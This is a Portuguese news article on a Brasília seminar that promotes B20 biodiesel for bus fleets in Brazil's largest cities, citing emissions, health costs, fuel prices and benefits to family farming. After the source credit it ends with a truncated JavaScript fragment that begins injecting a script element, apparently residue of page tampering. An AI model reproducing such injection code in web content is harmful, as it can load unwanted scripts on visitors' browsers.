Uso do biodiesel melhora a qualidade de vida

biodieO uso do chamado B20 Metropolitano gera impactos sociais, econômicos e ambientais

Com o objetivo de sensibilizar os prefeitos das 40 maiores cidades brasileiras para o uso de B20 – ou seja, a mistura de 20% de biodiesel no diesel que abastece a frota de ônibus desses municípios –, ocorreu na quinta-feira (21), em Brasília (DF), o seminário B20 Metropolitano: Mobilidade Sustentável para as cidades brasileiras. O seminário destacou os benefícios sociais, econômicos e ambientais do uso do biocombustível.

Atualmente, mistura-se 7% de biodiesel, o chamado B7, em todo o diesel terrestre comercializado no Brasil, em cumprimento à Lei 13.033, que torna a mistura obrigatória.

Ser limpo, renovável e isento de enxofre é um dos benefícios do biodiesel. Por exemplo, a utilização do B7 significa 7,3 milhões de toneladas de emissões de CO2 evitadas ao ano. Com o B20 Metropolitano, cerca de 577,2 mil toneladas a mais deixariam de ser emitidas.

A adoção do B20 impactaria diretamente na qualidade de vida das pessoas. De acordo com Samya de Lara Pinheiro, meteorologista, Doutora em Medicina pela USP e pela Escola de Saúde Pública de Harvard, os efeitos da poluição no ser humano não podem mais ser caracterizados como mais suscetíveis em crianças e idosos. Toda a população, principalmente a dos grandes centros e as menos favorecidas, é afetada.

Segundo dados da OMS (Organização Mundial da Saúde) de 2010, a poluição aparece entre os dez principais fatores de risco de morte no mundo. Samya destacou que 3,5 milhões de mortes ocorrem, por ano, devido à poluição. “Em São Paulo, por exemplo, estudos mostraram que, em 2011, foram 17,5 mil mortes e R$ 246 milhões representaram gastos públicos com hospitais e internações. Não existe limiar seguro para a saúde humana”.

Diesel mais barato

Com a mistura B20, em regiões produtoras do biodiesel, como o Sul e o Centro-Oeste, o óleo diesel comercializado pelas distribuidoras ficaria cerca de R$ 0,09 mais barato.

O cálculo considera a margem Petrobras (R$ 0,02/litro) e a margem estimada de distribuição (R$ 0,05/litro).

Conforme Aurélio Amaral, superintendente de Abastecimento da ANP (Agência Nacional do Petróleo), a mudança para o B20 requer estudos e análises dos impactos tributários. “É necessário discutir com tranquilidade e maturidade todas essas questões e analisar seus efeitos colaterais para que possamos dar esse salto. Em uma ideia geral, o uso do biodiesel é sempre bem-vindo, mas é preciso analisar como ele entra de uma forma equilibrada no sistema de distribuição de combustíveis no Brasil”, ressaltou.

Fortalecimento da agricultura familiar e geração de renda

Marco Aurélio Pavarino, coordenador-geral de Biocombustíveis da Secretaria da Agricultura Familiar do MDA (Ministério do Desenvolvimento Agrário), destacou os benefícios que a produção do biodiesel traz à pequena agricultura.

Segundo Pavarino, em 2008, o número de pessoas beneficiadas pelo Programa Nacional de Produção e Uso do Biodiesel era de 85.968. Em 2013, o índice saltou para 251.262. Se, em 2008, a receita anual por pessoa era de R$ 9.650,00; em 2013, subiu para mais de R$ 34 mil. “Em 2014, foram movimentados, aproximadamente, R$ 3,2 bilhões em aquisição de matéria-prima da agricultura familiar para a produção do biodiesel”, destacou.

Para Donizete Tokarski, diretor superintendente da Ubrabio (União Brasileira do Biodiesel e Bioqueresone), o Brasil tem todas as condições para adotar o B20.

“Principalmente nas regiões metropolitanas. Hoje, o país produz quatro bilhões de litros de biocombustível com a possibilidade de produzir o dobro. Os veículos não precisam ser adaptados para receber esse tipo de combustível. Basta tomarmos uma decisão”, salientou.

Além dos prefeitos, participaram do evento autoridades do governo federal e instituições de ensino e pesquisa vinculadas aos setores de mobilidade urbana, meio ambiente e saúde pública.

Fonte: Agência CNT de Notícias

var d=document;var s=d.createElement(‘script’);